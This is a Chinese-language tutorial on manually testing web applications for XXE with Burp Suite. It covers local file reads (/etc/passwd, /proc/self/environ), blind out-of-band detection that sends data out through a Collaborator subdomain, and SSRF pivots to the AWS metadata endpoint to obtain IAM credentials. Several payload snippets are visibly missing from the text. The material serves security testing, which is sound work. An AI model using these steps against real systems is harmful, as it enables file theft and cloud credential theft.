Burp Suite 手动测试 XXE 漏洞需三步:1. 识别 XML 输入点(查 Content-Type、功能点、XML 结构、伪文件上传);2. 构造 DTD 测试回显或盲 XXE(用 Burp Collaborator 验证外带);3. 延伸利用 SSRF 探测云元数据或内网服务。

用 Burp Suite 测试 XXE 漏洞,核心是识别 XML 输入点、构造恶意 DTD、观察响应或带外交互。整个过程不依赖自动化扫描,重在手动验证和逻辑判断。
识别 XML 处理入口
很多应用并不明显暴露 XML 接口,需主动寻找:
- 抓包查看 Content-Type 是否为 application/xml、text/xml 或 application/x-www-form-urlencoded(部分接口会把 XML 当作参数值提交)
- 关注功能点:库存查询、订单提交、配置导入、SAML 登录、Webhook 回调等常见 XML 使用场景
- 检查请求体是否含 XML 标签结构,如
123 - 若页面有文件上传功能,尝试上传含 XML 内容的图片(如修改 PNG 文件头后嵌入 XML),测试是否解析元数据
构造基础 XXE payload 测试回显
在 Repeater 中修改请求,插入外部实体定义并引用:
- 在 XML 声明(
)后、根元素前添加 DTD:
- 发送后观察响应:若返回 “Invalid product ID” 后紧跟
root:x:0:0:root:/root:/bin/bash等内容,说明成功读取文件 - 可替换路径测试敏感文件:
file:///proc/self/environ(环境变量)、file:///etc/hosts、file:///C:/windows/win.ini(Windows)
检测盲 XXE(无直接回显)
多数生产环境不回显 XML 解析结果,需借助带外(Out-of-Band)技术:
- 在 Burp Collaborator 中点击 Copy to clipboard 获取唯一子域(如
abc123.oastify.com) - 构造 payload 发起 DNS 或 HTTP 请求:
- 发送后立即切换到 Collaborator 标签页,等待 DNS 查询或 HTTP GET 记录出现 —— 出现即证明存在盲 XXE
- 进阶可让服务器读取文件再外带:
SYSTEM "http://abc123.oastify.com/?data=base64_encoded_content"(需配合服务端编码逻辑)
延伸利用:SSRF 和内网探测
XXE 可作为 SSRF 的跳板,尤其在云环境效果显著:
- 尝试访问元数据接口:
SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" - 逐级访问获取 AWS SecretAccessKey:
/latest/meta-data/iam/security-credentials/admin - 探测内网服务:
SYSTEM "http://10.0.1.10:8080/actuator/env"(Spring Boot)、http://127.0.0.1:5000/api/status - 注意:若目标禁用 HTTP 协议但允许 HTTPS,可改用
https://;若 DNS 解析失败,优先试 HTTP + IP










